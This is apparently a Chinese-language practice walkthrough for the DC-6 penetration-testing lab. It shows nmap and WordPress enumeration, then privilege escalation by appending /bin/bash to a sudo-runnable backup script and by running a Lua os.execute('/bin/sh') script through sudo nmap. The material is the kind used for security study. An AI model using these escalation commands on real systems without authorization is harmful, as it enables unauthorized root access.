渗透测试 - DC-6 - 练习篇

ip a

nmap 192.168.40.1/24

nmap -A -sV -T4 -p- 192.168.40.150

dirsearch -u http://wordy/

wpscan --url http://wordy -e u 

python -c 'import pty;pty.spawn("/bin/bash")'

echo"/bin/bash" >> /home/jens/backups.sh #在文件里面添加命令行sudo -u jens /home/jens/backups.sh # -u是指定用执行第一条命令 将 /bin/bash 添加到文件 /home/jens/backups.sh 中。第二条命令 会让 jens 用户执行 backups.sh 脚本，这个脚本会启动一个新的 Bash shell。

1. echo'os.execute("/bin/sh")' >getshell这个命令会将 'os.execute("/bin/sh")' 字符串写入到名为 getshell 的文件中。解析：echo'os.execute("/bin/sh")'：echo 是用来打印输出内容的命令。这里输出的内容是 os.execute("/bin/sh")，这实际上是 Lua 脚本中的一行代码。os.execute("/bin/sh") 是 Lua 语言的一种命令，它调用系统的 Shell 解释器 /bin/sh。所以，这个命令会启动一个新的 shell 进程。通过执行这条命令，脚本将会创建一个新的 shell，通常这意味着获取对目标系统的控制。>getshell：> 是输出重定向操作符，它会把 echo 输出的内容写入文件。如果文件 getshell 已经存在，它会被覆盖。如果文件不存在，它会被创建。最终，文件 getshell 会包含 os.execute("/bin/sh") 这一行 Lua 代码。2. sudo nmap --script=getshell这条命令使用 nmap 工具运行一个脚本（在这种情况下是你刚刚创建的 getshell 脚本）。解析：sudo：sudo 命令用于以超级用户（root）的权限执行后续的命令。因为 nmap 通常需要较高权限来执行网络扫描，所以用 sudo 以获取足够的权限。nmap：nmap 是一款强大的网络扫描工具，通常用于探测网络上的设备、开放端口以及相关服务。它还支持运行自定义脚本。--script=getshell：--script 选项告诉 nmap 使用指定的脚本来执行扫描。nmap允许用户自定义脚本来扩展 nmap 功能的引擎。在这种情况下，getshell 是你创建的脚本文件，它的内容是一个 Lua 脚本，该脚本会执行一个 shell 命令，即 os.execute("/bin/sh")，试图启动一个新的 shell。

python -c 'import pty;pty.spawn("/bin/bash")'